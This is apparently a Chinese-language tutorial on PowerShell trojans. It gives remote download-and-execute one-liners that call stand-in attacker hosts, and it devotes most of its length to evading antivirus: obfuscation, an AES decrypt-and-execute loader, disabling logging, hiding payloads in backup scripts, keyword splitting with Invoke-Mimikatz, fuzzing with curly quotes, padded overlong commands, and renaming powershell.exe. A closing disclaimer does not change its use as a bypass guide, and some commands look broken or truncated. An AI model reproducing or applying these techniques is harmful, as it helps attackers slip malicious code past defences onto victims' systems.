PowerShell 由于其强大的脚本执行能力和与操作系统的深度集成,被恶意软件作者频繁利用。以下是对 PowerShell 木马常用方式及特点的扩充介绍:
远程下载然后执行的常见方法
1. 使用 `Invoke-Expression`(别名 `IEX`):
- 如 `IEX ((new-object net.webclient).downloadstring('http://malicious-url/file.ps1'))`,从远程 URL 下载 PowerShell 脚本并直接执行。这种方式可以快速更新恶意代码,使得攻击者能够灵活地控制攻击的进程。
- 也可以使用 `IEX (Invoke-WebRequest -Uri 'http://malicious-url/script.txt' -UseBasicParsing).Content`,通过 `Invoke-WebRequest`获取远程脚本内容并执行。
2. 通过 `WebClient`类进行下载和执行:
- `$client = New-Object System.Net.WebClient;$script = $client.DownloadString('http://evil-server/script.ps1');Invoke-Expression $script`,创建 `WebClient`对象下载脚本字符串,然后使用 `Invoke-Expression`执行。
3. 利用 Base64 编码隐藏脚本:
- 攻击者可以将恶意 PowerShell 脚本进行 Base64 编码后放在远程服务器上,在本地下载并解码执行。例如,`$encodedScript = (Invoke-WebRequest -Uri 'http://malicious-url/encoded.txt' -UseBasicParsing).Content;$decodedScript = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedScript));Invoke-Expression $decodedScript`。
特点:直接内存运行、无文件落地的特点优势及风险
1. 优势:
- 难以被传统基于文件的安全检测手段发现。许多安全软件主要通过扫描磁盘上的文件来检测恶意软件,而无文件落地的 PowerShell 木马在内存中运行,不留下明显的文件痕迹,增加了检测的难度。
- 更具隐蔽性。由于没有持久化的文件存在,系统管理员和安全工具可能难以确定攻击的来源和方式,使得恶意活动更难被察觉和追踪。
- 快速部署和更新。攻击者可以随时更改远程服务器上的脚本内容,当受害者的系统再次执行远程下载的命令时,就可以获取到最新的恶意代码,实现快速的攻击策略调整和功能更新。
2. 风险:
- 一旦被发现,难以进行取证分析。由于没有文件存储在磁盘上,安全人员在进行事件响应和调查时,可能缺乏关键的证据来确定攻击的范围、方法和来源。
- 可能利用合法的系统进程。PowerShell 通常在合法的系统进程中运行,这使得恶意活动更容易混入正常的系统操作中,增加了识别和隔离的复杂性。
- 可以绕过一些安全防护机制。某些安全软件可能对文件系统的监控较为严格,但对内存中的活动监测相对较弱,从而使 PowerShell 木马有机会绕过这些防护措施。
以下我们来分析一个powershell命令
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
这是一条使用 PowerShell 执行远程脚本的命令,具有一定的安全风险。以下是对该命令的分析: 1. `powershell.exe`:启动 PowerShell 程序。
2. `-nop`:表示无 profile(配置文件)运行,即不加载 PowerShell 配置文件。
3. `-w hidden`:将窗口状态设置为隐藏,使得 PowerShell 窗口在执行命令时不可见。
4. `-c`:表示执行后面的命令字符串。
5. `"IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"`:
- `IEX`是`Invoke-Expression`的别名,用于执行指定的表达式。
- `(new-object net.webclient)`创建一个新的`.NET`中的`WebClient`对象。
- `.downloadstring('http://x.x.x.x/a')`使用这个`WebClient`对象从指定的 URL(`http://x.x.x.x/a`)下载字符串内容。
- 最后,下载的字符串内容被传递给`IEX`执行,这意味着如果下载的内容是有效的 PowerShell 脚本,它将在当前 PowerShell 会话中被执行。 这种方式可能被恶意攻击者用于下载和执行恶意脚本,从而对系统造成危害,如窃取敏感信息、安装恶意软件、控制计算机等。在实际环境中,应避免执行来自未知来源的脚本,以确保系统的安全和稳定。
但是通常使用过程中当调用powershell进行远程下载执行时,会被杀软进行拦截。那么针对Powershell的免杀有两个思路:
以下有两种方法可以进行免杀
以下是整合后的内容:
**一、对 ps1 文件进行免杀处理**
1. 代码混淆
- 变量名混淆:将有意义的变量名替换为无意义的、随机生成的字符组合。例如,把“$data”改为“$d3g4k9”。这样使得安全分析人员难以理解脚本的逻辑和目的。
- 函数名混淆:类似变量名混淆,对函数进行重命名。比如将常用的函数名“Invoke-Command”改为一个不常见且难以理解的名字。
- 逻辑混淆:通过添加冗余的代码、复杂的控制流结构等方式来混淆脚本的执行逻辑。例如,使用多层嵌套的条件语句和循环,让分析者难以追踪真正的恶意行为。
2. 加密内容
- 可以使用各种加密算法对 ps1 文件的关键部分进行加密。在脚本运行时,先进行解密操作,然后执行解密后的代码。这样在静态分析时,安全工具难以读取和理解脚本的内容。例如,使用 AES 加密算法对一段恶意代码进行加密,然后在脚本开头添加解密逻辑,只有在运行时才能得到可执行的恶意代码。
3. 压缩与封装
- 使用压缩工具将 ps1 文件压缩成一个压缩包,然后在运行时解压缩并执行。这样可以改变文件的特征,躲避一些基于文件特征的检测。
- 或者将 ps1 文件封装在另一个合法的文件格式中,如自解压可执行文件。当用户运行这个文件时,会自动解压并执行其中的 ps1 脚本。
**二、对 PowerShell 的行为进行免杀处理**
1. 禁用日志记录
- PowerShell 默认会记录一些操作日志,这些日志可能会被安全工具分析以检测恶意行为。可以通过修改 PowerShell 的配置或使用特定的命令来禁用日志记录。例如,设置 `$ExecutionContext.SessionState.PSVariable.Set('DisableLogging', $true)` 来禁用日志功能。这样可以减少留下的痕迹,降低被检测的可能性。
2. 模拟合法行为
- 将恶意行为隐藏在合法的 PowerShell 操作中。例如,使用 PowerShell 进行系统管理任务时,同时执行恶意代码。这样可以使恶意行为看起来像是正常的系统活动。比如在执行备份操作的 PowerShell 脚本中,嵌入恶意的下载和执行代码。安全工具可能会将整个操作视为正常的备份任务,而忽略其中的恶意行为。
3. 利用编码与解码
- 使用 Base64 编码等方式对恶意命令进行编码,然后在 PowerShell 中进行解码和执行。这样可以改变命令的外观,躲避一些基于字符串匹配的检测。例如,将恶意命令进行 Base64 编码后存储在一个变量中,然后在运行时解码并执行。
4. 降低权限运行
- 避免以高权限(如管理员权限)运行 PowerShell,因为高权限的操作更容易引起安全工具的关注。以普通用户权限运行可以降低可疑性。可以通过调整脚本的执行策略或在较低权限的用户环境下运行 PowerShell。
问题:除了ps1还有哪些常见的powershell后缀?
1. `.ps1`:PowerShell Script file(PowerShell 脚本文件)。
- 解释:这是一种包含一系列 PowerShell 命令和逻辑的文件,可以用于自动化任务、系统管理等各种目的。通常可以直接在 PowerShell 控制台中运行或通过调用 PowerShell 解释器来执行。
2. `.psm1`:PowerShell Module file(PowerShell 模块文件)。
- 解释:PowerShell 模块是一种组织和封装 PowerShell 代码的方式,`.psm1`文件包含函数、变量、别名等,可以将一组相关的功能打包在一起,以便在多个脚本中重复使用,提高代码的可维护性和可重用性。
3. `.psd1`:PowerShell Module Manifest file(PowerShell 模块清单文件)。
- 解释:用于描述 PowerShell 模块的元数据,如模块名称、版本、作者、依赖关系等。它通常与 `.psm1` 文件一起使用,为 PowerShell 模块提供详细的信息描述,帮助用户和其他工具了解模块的特性和要求。
4. `.ps1xml`:PowerShell Formatting XML file(PowerShell 格式 XML 文件)。
- 解释:可以通过修改这种文件来自定义 PowerShell 命令的输出格式、类型扩展等。它使用 XML 格式来定义如何显示 PowerShell 对象的属性和内容,以便更好地满足特定的输出需求。
问题:对ps1文件进行免杀和对powershell进行行为免杀有啥区别?
-
处理对象不同:
- 对 ps1 文件进行免杀处理直接针对存储在磁盘上的脚本文件本身。
- 对 PowerShell 的行为进行免杀处理针对 PowerShell 在运行时的行为模式和执行环境。
-
处理方式不同:
- 对 ps1 文件的处理主要是改变文件的结构、内容和表现形式,如混淆、加密、压缩封装等。
- 对 PowerShell 行为的处理则是调整 PowerShell 的运行参数、行为模式和执行环境,如禁用日志、模拟合法行为、编码解码、降低权限等。
-
检测难度不同:
- 对 ps1 文件进行免杀处理可能会被基于文件特征的检测方法发现,因为文件本身仍然存在于磁盘上,尽管经过了处理,但仍可能留下一些可被检测的特征。
- 对 PowerShell 的行为进行免杀处理更难被检测,因为它不依赖于特定的文件,而是通过改变 PowerShell 的运行方式来躲避检测,使得安全工具更难确定恶意行为的存在。
以下是每个方法的例子说明:
**一、对 ps1 文件进行免杀处理**
1. 代码混淆
- 变量名混淆:
原始命令行:`powershell -Command "$data = 'some content'; Write-Host $data"`
混淆后命令行:`powershell -Command "$d3g4k9 = 'some content'; Write-Host $d3g4k9"`
- 函数名混淆:
原始命令行:`powershell -Command "Invoke-Command -ScriptBlock { Write-Host 'Hello' }"`
混淆后命令行:`powershell -Command "Invoke-Cmd -ScriptBlock { Write-Host 'Hello' }"`
- 逻辑混淆:
原始命令行:`powershell -Command "Invoke-Command -ScriptBlock { Write-Host 'Hello' }"`
混淆后命令行:`powershell -Command "$flag = $false; while (!$flag) { if ((Get-Random -Minimum 1 -Maximum 10) % 2 -eq 0) { $flag = $true; } else { Write-Host 'Waiting...'; } }; Invoke-Command -ScriptBlock { Write-Host 'Hello' }"`
2. 加密内容:
- 假设恶意代码为`Invoke-Command -ScriptBlock { Do-Something-Malicious }`,使用 AES 加密后存储在一个变量中,在脚本开头添加解密逻辑如下:
$encryptedCode = "encrypted-data-here";
$key = "your-secret-key";
$iv = [System.Text.Encoding]::UTF8.GetBytes("initialization-vector");
$decryptor = New-Object System.Security.Cryptography.RijndaelManaged;
$decryptor.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$decryptor.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$decryptor.Key = [System.Text.Encoding]::UTF8.GetBytes($key);
$decryptor.IV = $iv;
$decryptedBytes = [System.Convert]::FromBase64String($encryptedCode);
$stream = New-Object System.IO.MemoryStream($decryptedBytes, 0, $decryptedBytes.Length);
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($stream, $decryptor.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Read);
$reader = New-Object System.IO.StreamReader($cryptoStream);
$decryptedScript = $reader.ReadToEnd();
Invoke-Expression $decryptedScript;
3. 压缩与封装:
- 可以使用 7-Zip 等工具将 ps1 文件压缩成一个压缩包,然后在运行时解压缩并执行。
假设压缩包名为`script.7z`,包含一个`script.ps1`文件,解压缩并执行的命令行如下:
Expand-Archive -Path "script.7z" -DestinationPath "temp";
.\temp\script.ps1;
- 或者将 ps1 文件封装在自解压可执行文件中,用户运行自解压文件时自动解压并执行其中的 ps1 脚本。(制作自解压可执行文件需要特定的工具和技术,这里仅为概念说明。)
**二、对 PowerShell 的行为进行免杀处理**
1. 禁用日志记录:
- 命令行示例:`powershell -Command "$ExecutionContext.SessionState.PSVariable.Set('DisableLogging', $true); Your-Command-Here"`
2. 模拟合法行为:
- 例如在执行备份操作的同时执行恶意代码,假设备份命令为`Copy-Item -Path "Source" -Destination "Destination"`,同时执行恶意代码:
Copy-Item -Path "Source" -Destination "Destination";
Invoke-Command -ScriptBlock { Do-Something-Malicious };
3.利用编码与解码:
- 将恶意命令进行 Base64 编码后存储在一个变量中,然后在运行时解码并执行。
编码后的命令:`$encodedCommand = "SW52b2tlLUNvbW1hbmQtLSBTcHJpbmQ="; $decodedCommand = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedCommand)); Invoke-Expression $decodedCommand;`(这里假设编码前的命令为`Invoke-Command -ScriptBlock { Write-Host "Hello" }`)
4. 降低权限运行:
- 以普通用户权限运行 PowerShell 脚本,而不是以管理员权限运行。可以直接在普通用户权限下执行命令行或脚本,避免使用提升权限的方法。
**三、一些其他方法**
### 一、关键字拆分 bypass
在实战过程中,如果杀软对 PowerShell 命令中的参数、函数进行检测,我们可以通过对关键字进行拆分来实现绕过。
例如,原始的 PowerShell 命令为:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))”
如果杀软对“http”关键字进行检测,我们可以进行如下拆分绕过:
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/a''));Invoke-Mimikatz';IEX ($a+$b)”
若对“downloadstring”函数进行检测,可以使用“replace”进行函数拆分绕过,如下所示:
powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='123(''http://x.x.x.x'')'.Rep
### 二、Fuzz 思想 bypass
问题:为什么fuzz能过杀软?
Fuzz思想(如使用中文字符里的单引号进行混淆)能够在一定程度上绕过杀软检测的理由如下:
**一、改变命令外观**
1. 打破常规模式:杀软通常会根据已知的恶意代码模式和特征进行检测。使用中文字符里的单引号等特殊字符来混淆命令,打破了常规的命令编写模式,使得恶意命令看起来与常见的恶意代码模式不同。这增加了杀软识别恶意行为的难度,因为它不再符合杀软所依赖的已知模式。
2. 干扰字符串匹配:许多杀软会使用字符串匹配技术来检测恶意代码。通过引入特殊字符,改变了命令中的字符串内容,使得原本可能被检测到的关键字符串变得难以识别。例如,将“http://x.x.x.x/a”拆分成“ht‘+’tp://x.x.x.x/a”,干扰了对“http”等关键字符串的直接匹配检测。
**二、增加分析复杂性**
1. 不常见的语法结构:使用特殊字符引入了不常见的语法结构,这使得安全分析人员在分析命令时需要花费更多的时间和精力。他们需要理解这些特殊字符的作用以及它们如何影响命令的执行,从而增加了分析的复杂性。
2. 难以预测的行为:特殊字符的使用可能会导致命令的行为变得难以预测。这使得杀软在进行动态分析时更难确定命令的真正目的和潜在危害。例如,单引号的使用可能会影响命令的解析方式,使得杀软难以确定命令的具体执行路径和结果。
接着我们可以利用 Fuzz 的思想进行绕过,比如使用中文字符里的单引号。
例如,混淆前的 PowerShell 命令为:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a’))”
使用单引号混淆后的命令为:
powershell.exe "IEX ((new-object net.webclient).downloadstring('ht‘+’tp://x.x.x.x/a’))”
### 三、超长命令 bypass
通过使用超长的命令来进行绕过。
问题:为什么超长命令能绕过杀软?
一、增加分析难度
- 复杂性增加:超长命令使得整个命令的结构变得非常复杂。安全软件通常依赖于模式匹配和特征检测来识别恶意行为,但在面对极其复杂的命令时,这些方法可能变得不那么有效。例如,大量重复的参数(如 “-w Normal” 的重复出现)会使恶意部分的代码在众多看似无害的参数中难以被快速识别。
- 干扰检测逻辑:超长的命令可能会干扰杀软的分析逻辑。安全软件在检测恶意行为时,通常会对命令进行解析和分析,但超长的命令可能会使这个过程变得更加困难,导致杀软无法准确地识别出其中的恶意部分。
二、隐藏恶意行为
- 融入正常操作:超长命令可能会使恶意行为看起来更像是正常的系统操作。在大量的参数和看似无害的指令中,恶意代码可能会被隐藏得更深。例如,恶意的下载和执行代码可能会被隐藏在众多的正常参数和操作中,使得杀软难以将其与正常的系统活动区分开来。
- 减少特征暴露:通过使用超长命令,恶意代码的特征可能会被分散和隐藏。安全软件通常会根据特定的代码特征来检测恶意行为,但在超长命令中,这些特征可能会被稀释或隐藏在大量的无关代码中,从而降低被检测到的可能性。
例如,原始命令为:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a’))”
构造超长命令后的 PowerShell 命令为:
powershell.-w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal w Normal -w Normal -w Normal -w Normal -w Normal -w Normal IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))
### 四、copy 命令 bypass
对于一些检测 PowerShell 使用动作的杀软,可以使用 Windows 的 copy 命令将 PowerShell 拷贝并命名为其他名称来绕过检测。
命令如下:
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt
之后可以这样执行 PowerShell 来绕过杀软检测:
bypass.txt IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))
### 五、混合 bypass
将前面讲述的几种方法进行混合使用,可以提高免杀效果。
例如:
powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht‘+’tp://x.x.x.x/a')
## 结尾
除了上述几种方式,还有其他方法可以进行绕过。例如,可以将 PowerShell 命令打包成 exe 程序,可使用 C、Python、Go 等语言实现。其中查杀率为:C > Python > Go。
需要强调的是,进行恶意免杀处理是非法和不道德的行为,可能会对计算机系统和网络安全造成严重威胁。以上内容仅为技术说明,不可用于非法目的。